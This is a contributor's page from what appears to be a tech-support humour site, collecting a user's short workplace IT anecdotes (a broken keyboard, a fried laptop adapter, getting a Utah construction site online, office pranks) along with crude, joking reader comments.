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Here is all the content that RiffRaff has contributed
to Tech Support Comedy. Tech Stories
1.
I Wnt A ew eybord
So, yesterday our office manager uses some of my disinfectant wipes to clean her keyboard. This is something I do as standard system maintenance anyway, but it's been a while since I've worked on her system.
Later in the day, her keyboard stopped working. I figured she had just gotten over-zealous with the wipes and some liquid had made its way down into the circuitry. No big deal; I just give her a spare and set hers on my workbench.
This morning she comes in and wants to know if her keyboard might be working again, because it is much nicer than the spare I gave her. So I hook it up to my laptop and run my fingers randomly across the keys, and they all seem to work fine. So I give it back to her.
Not five minutes pass before I receive the following IM:
(My desk is less than 20 feet from hers, so she can hear me laughing hysterically)
(09:27:49 AM) Office Manager: o
(09:27:55 AM) Office Manager: soe of y eys arent woring
(09:28:02 AM) Office Manager: dan!!
(09:29:09 AM) Office Manager: dont laugh
(09:29:10 AM) Office Manager: at e!
(09:29:14 AM) Office Manager: fix y dan eyboard
Then she tells me that the lower case "u" works just fine, but not the upper case "U." In between howls of laughter, I tell her to use the other Shift key. She sends me this:
(09:32:47 AM) Office Manager: F
(09:32:49 AM) Office Manager: U
Needless to say, this has been a very entertaining morning.
[By: RiffRaff]
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eyboards ca e a rel bich wen ome f the eys on't ucking wrk. - Gromit
hard to surf pr0n when the "x" key doesnt work... -Harm
greatest knock, knock joke I ever created: knock, knock...whose there....F...F who.... FU -Hawk
from an old Dilbert cartoon: "you need a new kybard? what's a kybard?" -Erictheblue
haha! similar to me flipping a can of coke onto my nice all in one. the poor hp tech got an earful while I cleaned it up. -AdmiralLaurie
So, I take it the eyboard is NOT a new type of user interface prosthesis for paraplegics ? -Spyder19
http://www.youtube.com/watch?v=SjULZwxhBuI -smellystudent
Tell her you need to put in a req. for one of these http://www.artlebedev.com/everything/optimus/ -Stryker One
i cn hz ew eybd? -KrazerKap
try this: http://www.frys.com/product/5881063
at least it's waterproof, and it should provide some entertainment value. -McSmiley
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2.
New Toy for the Veep
I have sitting on my workbench, as I type this, a brand spanking new Toshiba laptop. 64-bit i7 processor, 6 GB of RAM, 1 GB video, and a 500 GB hard drive.
*drool*
In addition to this thing of beauty, I will also be installing Ubuntu on it, with two different Windows virtual machines.
*drool*
The sad thing is, I now no longer have the most powerful laptop in the company. This is a temporary situation, of course, since I am merely waiting for the AMD quad-core laptops to hit the market. Then I will be top geek again.
*BFEG*
[By: RiffRaff]
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You have wood right now dont you? -burrkiss
He's only Woody when you're around, Burrkiss.... Hey Riff - look at my flickr page for a desktop cap of my freshly-upgraded computer! *bfeg* -Grue
that is so funny I was itching my junk when I read the comment by Burkiss, maybe I was getting aroused... -Hawk
I just built myself a new PC... Core i7-860, P55-UD4P Gigabyte mobo, 8gb 1333 Kingston RAM. (It's these few moments I do not mind living with my mother...) Putting Debian amd64 on it and then windows 7 64. -boxxertrumps
Qosmio line ey.. Nice.. They are pretty darn heavy. If one of those would fall on your foot. You would be in wheelchair for 2 months. -kennz
I don't understand why it's so special. It's not like it's an Apple or anything. :-) -YourLastHope
Nobody saw Hawk's comment? wow.... you folks are slipping. And no sir, Hawk, you weren't getting aroused because of Burrkiss... At least I hope you weren't. -AdmiralLaurie
AdmiralLaurie it is just a typical geek site... people are more interested in the hardware than people talking about their *ahem* hardware -PoglaTheGrate
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3.
Submitted for Your Approval:
Meet Riff Raff. A common man with decidedly uncommon nightmares. For Mr. Raff is haunted.... haunted by visions of memories he is unable to erase from his mind. Visions of bizarre human behaviour that defy imagination.
Picture this, if you will: A small city park in a typical, small Indiana town. One of the final bastions of nature and serenity within the city limits. And surrounding this park on all four sides, idyllic streets lined with post-World War Two houses, white picket fences, and children on bicycles.
A Norman Rockwell painting of summer in Americana, soon to be invaded by the nightmare that is Mr. Raff's life. Because Mr. Raff is not here alone. No, he is accompanied by a work crew, dispatched to perform his company's bidding at this small city park. And on this work crew, a newcomer, unfamiliar with Mr. Raff and his keen observational skills of the human species.
And thus begins the nightmare. For the first thing the newcomer does upon arrival is light up a cigarette, locate the nearest tree in the park, and proceed to whip out his manhood and relieve himself. A one-handed feat that would otherwise be impressive were it not for the sheer shock value of seeing a fully grown man urinating on a tree in broad daylight in the middle of a city park.
A nightmare that could only occur... in the Starfish Zone.
[By: RiffRaff]
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As %Diety is my witness, every word of this is true. There is a reason I am awake and posting at 03:00... -RiffRaff
Until you got to the punchline I was imagining the virtual-reality town in one of the vaults in Fallout 3. -AussieFoot
WTF? k some people have no decorum. -drachen
side of a highway -- OKay... middle of a forrest.. OK.. piss hammered after the bars close on the side of a building down an ally were no one would see you .. OK..
butHoly crap?! thats just.. soo.. I'm gonna go ahead and say.. CRACK... but will probably be wrong... dust off and nuke from orbit. -Harm
*blinkblink* PLEASE tell me you reported this to the idiot's supervisor. -Seamyst
By reading the 1st paragraph, I thought you were talking about the time that we spent alone in the basement. I thought that was supposed to be "our little secret" I wasnt even supposed to tell my wife. -burrkiss
Did he at least cock his leg? -vacuumtubes
IT'S A COOKBOOK!!!! -ActingUpAgain
I can't believe people are still smoking in public parks... Disgusting -Spyder19
Stay classy, That Guy. -Seamus
http://www.youtube.com/watch?v=MscPhoCL3fQ . Nuff said. -Necros
Let me guess, the tree the guy was hiding behind was less than 2" in diameter as well. -garwain
You need to work a #6 on him. ie: WolfPrince's poo LART. -VIPERsssss
Come to my city of residence and you can see people peeing <b>facing</b> the highway or pooping in plant pots in the malls.... -0gr3
Yes... Must get updates as soon as they become available. -exzyle2k
s/manhood/boyhood/ -concept14
You were pissed off, the tree was pissed on.
-Mushroom
One of the more bizarre sights along these lines I've seen was a huge (at least 300lbs) man in NYC standing in the street pissing on a us mail truck parked against the curb. -PCRaevyn
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4.
When AC Adapters Go Bad
$CFO brings in her company-issued laptop that she keeps at home, and states, "It stopped. Make it go."
Biting my tongue to stop myself from asking her if she looked for things to make her go, I asked some preliminary questions that immediately brought the system board into question.
On a whim, I put a meter on the AC adapter. Instead of the 19v I was supposed to see, it's putting out 80v. Double-checked my readings several times.
So, basically, her AC adapter failed miserably, allowing 400% more voltage to hit the board than it was supposed to. The board is not only dead, it's probably a blackened shadow of its former self.
Fortunately, her hard drive still spins up when connected to my laptop, which means all of her data is recoverable.
Guess I'll be spending my afternoon scouting for a replacement laptop.
[By: RiffRaff]
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Don't write off the mainboard until you've checked it with another adapter. I'm sure you've already done that, but for any onlookers: If the HD spins up, there was still some voltage regulation capability left on the mainboard; it may have been that the busted adapter made 80V unloaded, but not enough to charge, maybe 2v or 3v, when the laptop was plugged into it. -chazz
I don't have another adapter of that type to check it with, but I will try to track one down. Based on what my meter says, and the fact that she says it just completely shut off and went black with no warning while she was typing, still makes me think the board is dead. But I'll see if I can find another adapter to test that theory. -RiffRaff
I'd try another adapter. There IS a failure mode where, if a switchmode supply isn't loaded, it'll show a VERY high voltage on a meter, but is extremely low under load. And if the drive spins up, most likely it's not totally fried. I'd more bet a bad DC input jack on the main board, or the pico fuse by the input jack blown. -ralphp1024
Two weeks ago, I had an adaptor hiss, release magic smoke, then partially turn to slag--- while I was holding it!!! I feel sorry for the poor girl who listened to me freak out over skype. -linkv
Long time ago, I had an Apple II compatible with a co-processor for running CP/M. The power supply did a similar thing but it fried components until the resistance of the dead circuits was enough to protect what was left. The only things salvaged were the printer, monitor & parallel expansion card. -AussieFoot
If you were using a digital multimeter, you can't be too sure of those readings, they are notorious for displaying phantom voltages, especially from power that isn't clean.
Also, as someone else said, under load you can't trust the voltage you see. A car battery charger will probably show you 20v or so, without a battery on it. -AlanSmithee
Add me to the crowd that doesn't trust the meter reading. Unloaded voltages don't mean too much. -Loren
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5.
Lack of Proper Prior Planning
$Project Manager comes to me a few minutes ago and says, "Hey, Riff, can you pull up our camera in BFE, Utah?"
Sure, not a problem. I keep a browser tab on the login screen without actually logging in just to make sure our connection is functional, so I can log in very quickly.
Pull it up, and there's a pile of dirt sitting there. And by "pile of dirt," I'm not referring to the pile of dirt that I was sent out there to get online in the first place. No, this is a new pile of dirt, placed there by the excavator as they dug out the hole for the swimming pool that's going there. The swimming pool which we are supposed to be able to monitor the construction of with our camera.
Did I mention that there's now a pile of dirt in front of the camera? Yes, folks, the excavator piled his dirt between the camera and the swimming pool, and piled it high enough that all we can monitor is the sky and mountains in the background.
Heads will roll for this.
More to come, I'm sure.
[By: RiffRaff]
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...and you thought that the workers would play nice regarding a "nannycam" watching them? The only reason that dirt got put there is BECAUSE of the camera! *grin* -Grue
I just can't believe your company didn't take the time to devise some sort of policy re: the cameras. It's stupid that you have to, but if you're going to put them out there, you're going to have to leave instructions that they remain unmolested and unobscured. -NightSteel
Can't you just re-task a satellite to monitor these jokes? -Stryker One
Sorry, been watching too much 24. -Stryker One
A new place to fornicate was just created. -Mushroom
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6.
Stupid Is As Stupid Does
Not smart: Getting drunk on a work night.
Dumb: Driving the company-issued truck to your motel while drunk.
Stupid: Waking up the next morning and continuing to drink.
Beyond Comprehension: Driving the company-issued truck to the work site with almost 24 hours of alcohol in your system and getting pulled over by the local constabulary.
Yes, the guilty party is in jail. No, we're not going to bail him out. No, he is no longer employed with us.
The only reason human evolution has slowed down is because there are laws protecting the terminally stupid from being hunted down and killed before they reproduce.
[By: RiffRaff]
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To quote Hanover Fist: " He's nothing but a low-down, double-dealing, backstabbing, larcenous perverted worm! Hanging's too good for him. Burning's too good for him! He should be torn into little bitsy pieces and buried alive!" -duckhead
What happened to the company truck? -NightSteel
I'm with NightSteel, I do hope the truck is OK. I'm assuming if there's any impound fees that the company will take those from the fuckjob's final paycheck. -OgdenTechGuy
what. the . fuck! drinking the night before.. Okay we've all done that.. but its seems fauckwad was just stupid exponentially! driving + company vehicle while intoxicated makes drunk = bad to the power of are you retarded?! looks like they were gunning to be fired.. -Harm
This one of the guys out at your "pile of dirt"? -Grue
Had something similar happen here a while back, but it was an Over The Road Driver. We had to send a manager and a Class A driver 4 states away to get the truck. No, we didn't bail him out, nor did he keep his job. We were nice enough to call his wife to let her know where she could pick him up. :) I bet that was a looonnngg ride home! -MasterOfNone
When I working a night job while at uni, a cow-irker had a day job where he crashed the BOSS' car. The stupid thing was he was being a poseur by pretending to talk on a fake mobile phone (and was even fined by the police at least once before this incident) and was so involved in his self-conversation he drove up the back of another car. Lets just say his day job ended on that day. -Wraith556
What is it with people drinking and driving? maybe it's because I've never driven, but the worst I've ever done is fallen and nearly broken my thumb. Now, that being said, if you wake up the next morning, almost guaranteed to feel like hell, why should you continue to drink? Doesn't that indicate a serious problem? -AdmiralLaurie
AdmiralLaurie, one of the myths of drinking is that "the best cure is a hair of the dog that bit you:" in other words, drink more to take the pain away. Which works, but only because it makes you more drunk again... you will burn about a drink every two hours, so if you have eight over four hours, and then sleep for eight hours, you're still two drinks gone when you wake up. Add a couple more "eye-openers" to that and you are no way fit to drive. -chazz
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7.
Dick Alert
Within five minutes of the start of my morning, which usually begins at a local gas station for my morning donut & caffeine, some able-bodied moron parked their SUV in the prominently marked (in several locations) handicapped spot, and a completely different moron walked over to the breakfast sandwich shop and started shouting, "Hello?! Hello?! Where's the cook?! Where's the cook?!"
Turns out he wanted a breakfast sandwich, to which the poor young lady behind the counter replied that all of the breakfast sandwiches were already out in the store. This moron, I swear to god, says, "I don't want one of those sandwiches; I want a fresh one! You can cook one up, can't you?"
Couldn't hear her response, but moron turned and walked away, muttering under his breath.
So, I am formally declaring a {{{{{ DICK ALERT }}}}} for the Indianapolis Metropolitan Area. I have no idea if this will be a global phenomenon today, but you have been warned.
[By: RiffRaff]
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Sounds a lot like the a$$h0l#s that love, love love to make sarcastic comments about the fuel served at the watering hole. I can't understand, why they say it's disgusting. Bland, yes. Disgusting? no. Unless you count the vegies. I'll kepe an eye out for this incredibly mobile houseplant. You want I should chop him down and rip his roots up if I see him? :P -AdmiralLaurie
Lovely , people like that should be stuffed in a gibbet. -Harm
You know thats a missleading title. -burrkiss
What's really bad is that burkiss must be rubbing off on me. I thought Riff was writing a sonette about burkiss. Had to read the story before I knew it wasn't what I thought it was about. -DataSolutions
Something like a No-Dick Action Day should be declared... -vacuumtubes
I just happened upon a Dick's car. Tons of legit parking all around him; instead of parking legit he parks just outside of the "no parking" section in front of the neighbor's Dumpster, in the way of anyone coming in, forcing everyone to go around him. -OgdenTechGuy
At my parking complex, someone who doesn't live here parked in my neighbor's reserved spot and then complained to management that he had to pay $125 to get his truck out of lock-up and he wanted his money back. He didn't think it was a big deal since "no one was there when I parked my truck!" I wonder what part of "private parking" he didn't understand. -Blargmanus
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8.
Operation DirtCam
Well, I have a pile of dirt connected to the Internet now. 1.4 Mb down/ 900 Kb up. Not bad at all for BFE Utah.
Initial remote access tests from the office in Indy look promising, but we'll finish that tomorrow. Then they can watch that pile of dirt to their heart's content.
Looks like I'll have some spare time to do some hiking and/or exploring tomorrow. Already hiked to the bottom of a ravine and explored some old ruins near my hotel, which was kind of cool.
Now I'm going to go have a nervous breakdown. I've earned it, and nobody is going to deprive me of it.
[By: RiffRaff]
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Cry 'Havok!' and loose the dogs of war! -TheCyberwolfe
You've been talking it up for a bit, now, and I just gotta ask: "Ball of dirt?" -Captain Trips
where abouts in utah? I'm about 26 mins from st. george. -drachen
drachen, other side of the state, the forgotten side..... -MoabTech
Amusing (not amazing, aMUsing) how you can get a better connection out in the sticks of nowhere than you can at the airport you came into/from. (Srsly. This past weekend, I flew to Atlanta for my 25th high school reunion, in a VERY small town halfway in between Atlanta & Chattanooga. The hotel had a lousy cable TV setup, but a far better Wifi signal, and the school itself has gone seriously high tech since my last reunion in '95. (Mind you, this is no big high school in a major city, this is an SDA boarding academy equidistant from the nearest two cities worth of the name. But yet, you can't get a decent signal at either Lindbergh Field OR Hartsfield! (Or, in Hartsfield's defense, a decent FREE one...) -MadJack
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9.
PileOfDirt.com
Leaving for Utah to get a pile of dirt online. Stories to follow, I'm sure.
[By: RiffRaff]
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Sounds like going to Alaska for a trailer full of snow. -VoiceOfSanity
Better than trying to bring snow TO Alaska, anyway. -Divinar
If you get out to Ogden look me up, The store's at 2154 Washington Blvd or call the store phone (801) 689-1377 -OgdenTechGuy
I won't get that far north. I arrive in SLC after 6:00, then head south for the four corners area. I hear you've got a spring blizzard coming in. -RiffRaff
On another note, I *love* the new Indianapolis terminal. They have benches with AC *and* USB power outlets! -RiffRaff
Now that we have OTG's store number.... Let the games BEGIN!! -unrenowned
<SINGING_JACK>"I got a jar of dirt! I got a jar of dirt! I got a jar of dirt! I got a jar of dirt! And guess wot's inside it!"</SING> -Seamus
Ah, yes. Power outlets. Not having them being the one drawback to surfing through airports. (No, I take that back. The real drawback is having lousy free airport WiFi, & good airport WiFi that costs more than airport food! (And, an amusing side note: Delta Loves the Penguin! (This noted during a reboot of the in-flight entertainment system.) -MadJack
Who wouldn't want to go to Alaska? Oh wait. Too much snow and the "Shadow Moses" facility with Metal Gear REX. Lol. just kidding. -KrazerKap
I'm confused. If yer getting it online, why would you have to go there ? -Spyder19
Dirt 4 Sale </Bill Hicks> -PoglaTheGrate
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10.
April Fool's Day @ Peyton Place
So far, I've snagged about half a dozen people with this:
http://nextround.net/2010/03/26/voice-command-printer-april-fools-office-prank/
We took it a step further by having things ready to print from my laptop, since the main network printer is right by my desk. Had my PFY come up and "demonstrate" it for people by putting a company fax cover sheet on the scanner, speaking his name into the fake microphone I "connected" to the printer, then saying "Copy... Five... Start."
I then hit the print button on my laptop and printed 5 copies of the fax cover sheet to that printer.
Next person that tried it got a sheet that said "Happy April Fool's Day!" for her trouble.
[By: RiffRaff]
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HAHAHAHA I did the same thing at my place, except we have a Canon copier, made my own sign. I'm not in the office today so I don;'t know if it caught anyone yet. Waiting to hear. (God I hope it does!) -JoeLugian
Here in the north we had some quite good ones: The Gov has declared that due to acidification of the woods our jet fighters shall lime the whole country... And a novelty is a silicone-based, -covered e-reader... -Dr Jerkyl
Since i'm too lazy to make one, anyone have a link to a printable version of the fake document? -BarmanVarn
Reminds me of an article I read where someone did this to a vending machine. Hilarity ensued as the simple voice commands became verbal abuse. -exzyle2k
This was my April Fool's Day joke to the Oblivion modding community. http://www.tesnexus.com/downloads/file.php?id=30796 -OgdenTechGuy
OTG: The Emperor's new clothes? I presume the chest is empty... -chazz
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11.
Epic E-Mail Forward Fail
I swear, Drop.Net attracts fucknuggets like moths to bright lights.
This is convoluted, so bear with me.
For the past few weeks, I've been getting intermittent complaints about e-mail from Peyton Place to AOL accounts being returned due to a temporary spam block. Since the block only lasts 24 hours, and it's AOL mentality we're dealing with, I've basically ignored it.
Until today, when a flood of returned messages hits several of my users. I am ordered by $CFO to investigate. Fortunately, I have the cell phone of Drop.Net's sysadmin on speed dial, and I clue him in to the situation. He tells me he'll dig around in the logs and get back with me.
Turns out that some idiot who has an account on the same server as Peyton Place put an e-mail forward in place, so that all of his incoming mail would be forwarded to... wait for it.... his AOL account.
Said jackass would then read all of this forwarded e-mail on his AOL account, marking messages as junk as he went. Of course, since this junk mail is forwarded, AOL thinks ALL of it is coming from... you guessed it.... Drop.Net, and would institute a temporary block of that mail server... OUR mail server... for 24 hours.
Enter Epic Irony: Jackass ends up blocking his own forwarded e-mails by marking all of these messages as junk, so 24 hours go by, AOL gets no further complaints, and the 24 hour block gets lifted.
Rinse, lather, repeat.
I have it on good authority that said jackass's Drop.Net account is not long for this world.
So, do I laugh, or cry?
[By: RiffRaff]
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Laugh or cry? Why not just reload. -Stryker One
Neither... You inform your Drop.Net contact to make sure that when fucktard calls and complains, it's recorded and posted here... Then we can all laugh. -exzyle2k
You left out the part where fishy complains about Drop.Net because they keep holding his mail back for 24hrs. -AussieFoot
Why does he mark it as "junk"? this makes zero sense. I mean, if it really was junk, then fine. But work emails ain't junk insofar as I know. Aaaaack! the stupid, it's melting my brain! -AdmiralLaurie
laugh? Cry? drink? reload? hmm.. I'm gonna go wioth laugh till you cry, while reloading over a 24. -Harm
Admiral: my guess is that he's marking the emails as junk because that makes them go away, and cleans out his aol inbox. If he was smarter, he would mark them read, or just delete them. Maybe he thinks that marking them as junk is the only was to delete them? -docbrown01
Drop.net doesn't have a policy about forwarding proprietary company information to private email addresses? -MasterOfNone
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12.
Do I Spend It All In One Place?
You just have to laugh. I received the following notice with my AT&T bill today:
You are included in a Class Action settlement involving your DSL service.
Blah, blah-blah, blah-blah, blah-blah.
I'm entitled to a one-time payment of $2.00.
So, do I go for my pound of flesh, or do I write it off as more trouble than it's worth?
[By: RiffRaff]
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A friend of mine recently got a settlement of a class action suit - he got half of what you did. His logic was to cash it because at least then the company wouldn't get to keep it. -Calydor
I got a bunch of notices for the Death Star drives because I registered our server drives under my name. I think the notice was for a rebate on more IBM drives. Uh, no thanks. -TechDaddy
I would say take it, and buy yourself 2 tacos! -exzyle2k
I started to read it too fast, and read it as, "You are included in a Class Action _lawsuit_ involving your DSL service". I figured that the cable service providers were finally finding a different way to get me onto their shaky service. -Voz
Two tacos? But you can have your dollar AND your taco! (/obligatory> -MadJack
A friend of mine once got a refund from Telstra (aussie telco) for the princely sum of 30c - sent to him as a cheque. The refund was because a pay phone ate his money (this was a few years ago where it was 30c to make a phone call from a public phone). He framed the cheque, and anytime someone said something stupid, he would point to the cheque and say 'call someone who cares' -PoglaTheGrate
Ask for it in pennies. Pre-1970 pennies. -Geminii
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13.
Another Conversion!
Just got notified that we're upgrading to QuickBooks Enterprise 10, which gives me the option of running the database on a Linux server, including Ubuntu Server 8.04.
*Plays Another One Bites the Dust in the background*
[By: RiffRaff]
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Cool! -Grue
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14.
Comcast Conspiracy?
So, I get a flyer in the mail today, urging me to switch from the evil AT&T to the evil Comcast cable company. Immediately went into the shredder, of course. Then my DSL connection goes out tonight. And my DSL connection *never* goes out. I'm sensing a disturbance in the Dark Side of the Force...
[By: RiffRaff]
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I switched from DSL (Qwest) to Comcast a year ago and haven't looked back. It happened after a Qwest service technician was honest enough to inform me that Qwest had no intention of providing me with the level of service I was paying for, unless I upgraded to their faster fiber-based service. I've not had a single minute of down time since I switched. I'm also happier with the quality of the phone service (I have the "triple play") than I was with Qwest; it just seems clearer. -rdwells
sometimes I wonder where the fiber in comcast's or qwest's network is? Is it connecting 2 routers? Probably with at&t its fiber to some remote dsl terminal on the street corner serving a neighborhood and able to maintain under a mile radius so it gets 10mb speeds. -areatech
Downunder I use iiNet and have so few outages and issues I recommend them to anyone. Other people we know with Helstra, Floptus, and other providers who use Helstra's infrastructure, seem to have endless problems. Any problems I've had are usually Helstra messing around with the phone system in my building. iiNet use their own ADSL 2 network which avoids Helstra's woes. -Wraith556
Connection came back up some time overnight. -RiffRaff
Here where I live, fiber is something that the snowbirds have with their breakfast every morning... and DSL is half the speed at 20% more the cost than cable. Such is life here in Floorida... -VoiceOfSanity
I have ATT DSL and the last 2 rainstorms it got flaky/dropped. Of course it takes them a week to get a truck out to check the lines which have dried off by then. I'd go to Comcast but it's 2x as much for about the same speed as DSL. -Starfury
I have DSL through Speakeasy but they lease access from Qwest. No problems, and the TOS explicitly allows me to run an FTP or web server out of my home (not that I actually do), so I stay with them. Doesn't hurt that the switching station is across the alley from my house. -thx1138
VoiceOfSanity - That's because, IIRC, the Foridan patchwork-from-Hell line ownership is so goddamned crazy it's any wonder that ANYONE could get any semblance of a decent ADSL connection. -Seamus
Been on cable since it was called The @Home Network, then it was bought by AT&T, now it's Comcast. Service has been pretty good, but close to $60.00/month for 12Mb/s seems damn expensive. -Stryker One
I know some techs have a habit of cutting cable lines. this goes mostly for satalite service, but i would not be supprised if other techs do it. -ZombieBear
I'm on cable with Cox, and while expensive have had few troubles. And, when you get disconnected because you didn't pay your bill, your service is back on before the IVR gives you your credit card confirmation number. Plus, you've got to love a company that calls a spade a spade. "We're Cox" -AngrySup
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15.
Joe Dirt
ME: Hey, $Coworker! That job site out in Utah that you want a high speed Internet connection to - is there an existing phone line at that location?
Coworker: No.
ME: No phone line at all?
Coworker: It's new construction. There's nothing there now.
ME: So it's just a pile of dirt?
Coworker: Yeah, pretty much.
ME: In twenty years of doing this, I can't say that I have ever tried to get a pile of dirt online before.
This should be interesting. More stories on this to follow, I'm sure.
[By: RiffRaff]
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Well Riff, there is a first time for everything. LOL -THETECHFROMHELL
yuo will need to establish a new protocol. Dirt on Ethernet. -gashach
Getting piles of dirt online was something I did every day when I worked at the ISP. </not_bitter> -teivrann
I've been online via a cable run out to the junction box under the sidewalk. Admittedly only for a few minutes for test purposes (the installer confirming the buried cable was bad) but it did work. Thus if the cables in the street have been laid then it could be done. -Loren
maybe this? http://www.sierrawireless.com/en/Newsroom/newsreleases/2010/01-06-overdrive_3g_4g_mobile_hotspot_by_sierra-wireless_brings_4g_speeds.aspx -McSmiley
Nope. Would exceed the 5 GB data limitation within a week. Looking at DSL into a trailer at the moment. -RiffRaff
I've had users demand telephone and network service for their new offices before. And throw tantrums because it wasn't ready, even tho the office was NOT even built yet. -Tekkie
Hey, everything ELSE is connected to the Intertubes (refrigerators, toasters, light switches, automobiles.) Why not a pile of dirt? -Captain Trips
I don't think we need to get the planet online. If she get real angry at us, instead of major hurricanes, the 'tubes will crash. <whimpers@thought> -DarkRookie
It's only going to look up earthworm porn anyway... -ActingUpAgain
If the site has power, go satellite or microwave. -Stryker One
How about this - http://en.wikipedia.org/wiki/IP_over_Avian_Carriers - can transfer large files if you use micro SD cards... -Wonko The Sane
D.O.L., Dirt On Line. -Deadagent
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16.
WHAT?
"Oversized kewpie doll"???????????????????????????????
Oooo.... why you...... you....... Ooooooooo....... Why I oughta..... Ooooooooo..... You...... You.......... You stuck up, half witted, scruffy looking, nerf-herder!
Just you wait till the next BBQ, dude. I'm thinking Sienna needs to demonstrate some of her special "muzzling" abilities on someone other than me for a change.
Oversized kewpie doll indeed.
HMMMPHHH
[By: RiffRaff]
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Oh, Hon...but you are sooooo Kew-t!That was my favorite part! -Magenta
Don't you have work you should be doing on my tax dime, dear? >:~\ -RiffRaff
Now my ribs hurt! Figured she'd get a kick out of that line in the e-mail, but didn't figure to get such a rise out of YOU! -Grue
Hey, Riff ... Ummm ... How about those backups, huh ? ;) -Necros
Uh-oh, do I detect a double-pranking on Riff by Grue? Inquiring minds wanna know... -MadJack
Nah, nothing too much into it. Magenta had done some research on my (and HairTech's) behalf, and sent the results via e-mail. In my reply, I referred to RiffRaff as an "oversized kewpie doll" - which apparently causes him some angst. Gee, I wonder why? *bfeg* I guess it's better than if I'd called him "Sienna's favorite chew-toy", innit? -Grue
Hmm... Why, for some reason, did I automatically know that Grue was involved in this? But still a pretty dead-on observation by Grue. tee-hee. -exzyle2k
hehehehehe yep, Exzyle, that was my automatic thought, too ;P Now then: "Who's scruffy lookin'? I musta hit pretty close to the mark to get 'er all riled up like that, eh, kid?" </obligatory> -MadJack
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18.
Review
Just had my first company review in almost 4 years. I was told that my efforts are noticed and appreciated, and that they know that even when it looks like I'm not doing anything, I really am. They know that when everything is working the way it's supposed to it means I'm doing my job. And they know that I try to stay on top of new technology and threats. I have, and I quote: "...become an integral part of the company."
And I was given a 3% raise!
Pinch me, I'm dreaming.
[By: RiffRaff]
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Conga-rats! -MadJack
<PINCH> hows that? -gashach
YAY, RIFF!!! -figglywig
Congratulations! It's gratifying to hear that managers occasionally do the right thing. Now to find somewhere like that for myself! -SalParadise
Wait... what?! That is so awesome. May I suggest, nay, insist that you celebrate. -ThinTheHerd
Wow. A raise in these hard times. Congrats! -CyBear
Grats dude! -Harm
Outstanding! So, have you made reservations at White Castle yet to celebrate? -exzyle2k
Huge congratulations- would hugging them back be inappropriate? If so, maybe donuts (if thats not too non-pc) -jerrybear
Way to go Riff!!!!! -THETECHFROMHELL
three measly percent signs (%%%)???. I wouldn't have given in until I got real money ... (˙˙˙pǝʇɐıɔǝɹddɐ ǝɹ,noʎ ʇɐɥʇ ǝɔıu `suoıʇɐlnʇɐɹƃuoɔ) -Dr Jerkyl
Were any of these people techs? 'Things are working, so you're doing your job.' <sniff> Almost brings tears to your eyes. -LDFeral
Yayy, congrats! -Seamyst
Congrats on your raise...that's 2x what I've gotten in the last 2 years. -Starfury
Congratulations indeed, dude! -Grue
Play the lottery tonight, yer luck is on the plus side ;) -Spyder19
<pinch> heh, you didn't specify WHERE you wanted to be pinched, right? <runs away before Magenta can pick my a$$ too hard> *EG* -rosemetal
Wow... a raise... they really DO value you! (I haven't had a raise in 2 years) -ManyHats
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19.
I'm On The Highway to Hell
Copied and pasted from the maintenance logs of two of my users today:
January 7, 2009
Reluctantly install Microsoft Project Professional 2007 (60-day trial)
Soul officially sold to the devil; eternal salvation unattainable
Whoever follows me in this job is going to be entertained by my log entries, if nothing else.
[By: RiffRaff]
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Unless he's a "Stef", who won't understand them, and will immediately replace all your nice, functional Linux based machines with twice the number of MS based newer machines to do the same job. Of course, it will take twice your entire salary to pay for those licenses... -Divinar
<Looks at the 2009 part of the entry and dances< "Let's do the TIME WARP again!" -Necros
Blame it on the Large Hadron Colider -Spyder19
It's just a jump to the left! -Bioguy
I put my coffee down, then picked it back up, took a sip and was about to start swallowing when I read the maintenance log entries. Now my next several tissues will smell like French Vanilla. Thanks, Riff! -AdmiralLaurie
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20.
WHEE!
I am officially on vacation until January 4th!
Sucks to be me!
*BFEG*
[By: RiffRaff]
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... Making a list and checking it twice. Santa ? No. It's Magenta's "HoneyDew" list. < Running and Giggling > -Necros
Hey! That's not fair. I don't get to start mine until noon tomorrow. -PsychoKittyB
Mine started yesterday at noon. *bigger FEG* -Seamyst
Hope you & Magenta have a great vacation! -CTYankee
*Mine* started when I drove to the office on Monday, and read an email that was sent while I was on the road, telling me I was off until the 4th, and I could use vacation time if I had any left! (I put in the one hour on my timecard anyway) -Divinar
So on the 7th we'll get to hear about everything that went to hell during the next two weeks, and Riff will finally have time on the 7th to post about it after working 16 hour days to get it straight... -exzyle2k
Mine started Dec 18th at 5:30pm when I left for that day. :) -SwedishChef
Lucky SOBs - I get this weekend off, then I have to work two weeks straight, starting on the 28th. That includes working a 6pm - 3am shift *on new year's eve/day* -DreadPirate
Feelin' your pain (a little), DP. I get both Eves off this year (tho I wouldn't be surprised by a last minute call shortly b4 or after 11, saying that Sleeping Ugly didn't come in), and I have to be on at 11 both Friday nights. Then, if I keep on this schedule, I won't have either a Christmas/New Years Eve OR Day off until 2014. Tonight, it won't be a really big deal if I get called in at the last minute, but next week, when I go out to party, the Cellphone Stays Home. No way am I working this New Years Eve! -MadJack
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21.
Hook, Line, & Sinker
The Players:
Me and DramaQueen from Accounting, who have had our occasional battles, but in general get along okay, plotting a prank on Payroll and Company Controller, who are good friends of mine. We know what we're going to do, but need the right moment to pull it off.
The Setup:
I come into work yesterday and find someone has unplugged my christmas Star Trek ship ornaments by just unplugging the whole power strip, which also kills the switch I have sitting on my desk. Some queries reveals the fact the DramaQueen was the last person to lock up the building the night before. Perfect. I let my irritation with the situation be known to everyone in the office, setting the stage, then call DramaQueen on her cell phone to let her know that this morning is the time.
The Prank:
When I know DramaQueen is at her desk, I walk back to the Accounting office, and start in with, "DQ, what in the hell are you doing unplugging shit at my desk?" She comes back with an equally hostile, "Unplugging christmas lights like I was told to do. If you don't like it, you can learn to turn off your own damn lights."
Insert escalation and flaring tempers for a couple of minutes, with pleas from the victims for both of us to calm down.
Finally, I say, "You know what, I'm tired of your shit, and I don't need your shit. I'm outta here." Followed by a dramatic exit, simulated clock-out at the time clock, and slamming of the back door, although I don't really leave, I just stand there so I can listen to what's going on behind me.
I hear DQ say something along the lines of, "I've had it with this crap. I'm leaving too."
Our victims are apparently crapping their pants, since 25% of the Accounting Department and 50% of the IT Department has apparently just quit without notice, with less than a week to go before they do year-end inventory. Victim 1 says to Victim 2, "You go get yours, and I'll go get mine," referring to me and my cohort in crime, and they come after us. Victim #2 comes round the corner to follow me outside, only to run into me laughing my ass off, and putting a hooked finger in my mouth to indicate a fish on a line. The look on his face was PRICELESS.
They have threatened retaliation, of course, but I don't care what they do to me; it was worth it.
*BFEG*
[By: RiffRaff]
